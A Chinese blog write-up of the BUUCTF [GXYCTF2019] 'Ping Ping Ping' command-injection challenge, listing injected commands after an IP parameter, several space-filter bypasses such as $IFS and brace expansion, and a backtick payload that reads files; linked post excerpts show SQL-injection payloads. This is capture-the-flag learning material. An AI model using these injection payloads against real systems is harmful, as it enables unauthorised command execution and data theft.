当前位置:首页 > CTF > BUU > 正文内容

BUUCTF_web_第九题:[GXYCTF2019]Ping Ping Ping

七星4年前 (2021-01-21)BUU1915


是个ping, 传入/?ip=127.0.0.1看看

命令执行, 立刻想到||管道符:

/?ip=127.0.0.1||ls

不行, 那就封号;

/?ip=127.0.0.1;ls

成功获得两个文件名

flag.php

index.php

然后cat flag.php试试
提示空格被过滤了
那就绕过,空格绕过的方法如下:
  • $IFS
  • ${IFS}
  • $IFS$1 //$1改成$加其他数字貌似都行
  • <
  • <>
  • {cat,flag.php} //用逗号实现了空格功能
  • %20
  • %09
试了一下, 发现他过滤了flag字符串,,,,那就看看index.php喽
?ip=127.0.0.1;cat$IFS$1index.php
得到:

分析一下:

对flag过滤非常严格, 那就不用flag了,在linux中, 可以把ls的结果,作为cat的参数,就不用flag了:

?ip=127.0.0.1;cat$IFS$9`ls`

但是源码里没有flag, 我寻思着不应该啊, 特意抓包看了一下, 他给我写到注释里了, f12就好了.

阿西吧


七星比特|qixingbit.com

相关文章

BUUCTF_web_第一题: [HCTF 2018]WarmUp

BUUCTF_web_第一题: [HCTF 2018]WarmUp

第一题: [HCTF 2018]WarmUp f12, 注释里有个文件, 访问, 成功获得审计代码. 审计代码里有个hint.php, 打开, 成功获得ffffllllaaaagggg,...

BUUCTF_web_第二题:[强网杯 2019]随便注

BUUCTF_web_第二题:[强网杯 2019]随便注

第二题: [强网杯 2019]随便注 测试一下, 1'# 返回正常, 发现是字符注入,尝试show一下database: 1';show databases;%23 发现出结果了:...

 BUUCTF_web_第三题:[极客大挑战 2019]EasySQL

BUUCTF_web_第三题:[极客大挑战 2019]EasySQL

第三题: [极客大挑战 2019]EasySQL 常规SQL注入, 没啥说的, 好多种解法, 既然是登录, 这里就写一个万能用户: 1' or 1=1# 密码随便填, 就能getflag...

BUUCTF_web_第四题:[极客大挑战 2019]Havefun

BUUCTF_web_第四题:[极客大挑战 2019]Havefun

开局一直猫, flag全靠f12:<!--˂!----˃$cat=$_GET['cat'];echo $cat;if($cat=='dog'){    echo 'Syc{c...

BUUCTF_web_第五题:[SUCTF 2019]EasySQL

BUUCTF_web_第五题:[SUCTF 2019]EasySQL

[SUCTF 2019]EasySQL打开题目,发现一个搜索框,尝试发现是堆叠注入,先查一下数据库:1;show databases;得到:Array ( [0] => 1 )Array ( [...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。